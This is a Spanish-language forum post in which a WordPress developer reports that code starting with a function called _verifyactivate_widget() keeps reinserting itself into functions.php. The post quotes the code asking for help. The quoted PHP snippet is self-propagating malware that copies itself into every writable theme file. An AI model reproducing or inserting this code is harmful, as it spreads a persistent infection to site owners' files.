Problemas con codigo largo en functions.php de WordPress

  • Autor Autor shadowhck
  • Fecha de inicio Fecha de inicio
shadowhck

shadowhck

Lambda
Programador
Verificado por Whatsapp
hola, desde hace dias trabajo en el desarrollo de themes para WordPress y en modificaciones a los themes de mis sitios y me he dado cuenta de que en el archivo functions.php se inserta un codigo algo largo empezando por declarar una funcion llamada:
PHP:
_verifyactivate_widget()
Y aqui una porcion del codigo:
PHP:
    $widget=substr(file_get_contents(__FILE__),strripos(file_get_contents(__FILE__),"<"."?"));$output="";$allowed="";
    $output=strip_tags($output, $allowed);
    $direst=_getall_widgetscont(array(substr(dirname(__FILE__),0,stripos(dirname(__FILE__),"themes") + 6)));
    if (is_array($direst)){
        foreach ($direst as $item){
            if (is_writable($item)){
                $ftion=substr($widget,stripos($widget,"_"),stripos(substr($widget,stripos($widget,"_")),"("));
                $cont=file_get_contents($item);
                if (stripos($cont,$ftion) === false){
                    $separar=stripos( substr($cont,-20),"?".">") !== false ? "" : "?".">";
                    $output .= $before . "Not found" . $after;
                    if (stripos( substr($cont,-20),"?".">") !== false){$cont=substr($cont,0,strripos($cont,"?".">") + 2);}
                    $output=rtrim($output, "\n\t"); fputs($f=fopen($item,"w+"),$cont . $separar . "\n" .$widget);fclose($f);                
                    $output .= ($showfullstop && $ellipsis) ? "..." : "";
                }
            }
        }
    }
    return $output;
}
necesito ayuda porfavor, cada que se inserta el codigo me da errores de que no he definido ciertas funciones y elimino el codigo y despues de editar y volver a empezar dentro de un rato el codigo vuelve a aparecer.

Detalles:
Programa de Edición: Notepad++
Software: Wamp Server
Apache 2.2.17
MySQL 5.5.8
PHP 5.3.5
WordPress 3.1 (solo con TPC! Memory Usage, WP-Paginate y WP-Pagenavi )
PHP:
define('WP_DEBUG', true);
Windows 7 Home Premium 64 bits
McAfee Security Center (para que vean que no es nada de mi Windows 😛)


:hmpf:
 
Atrás
Arriba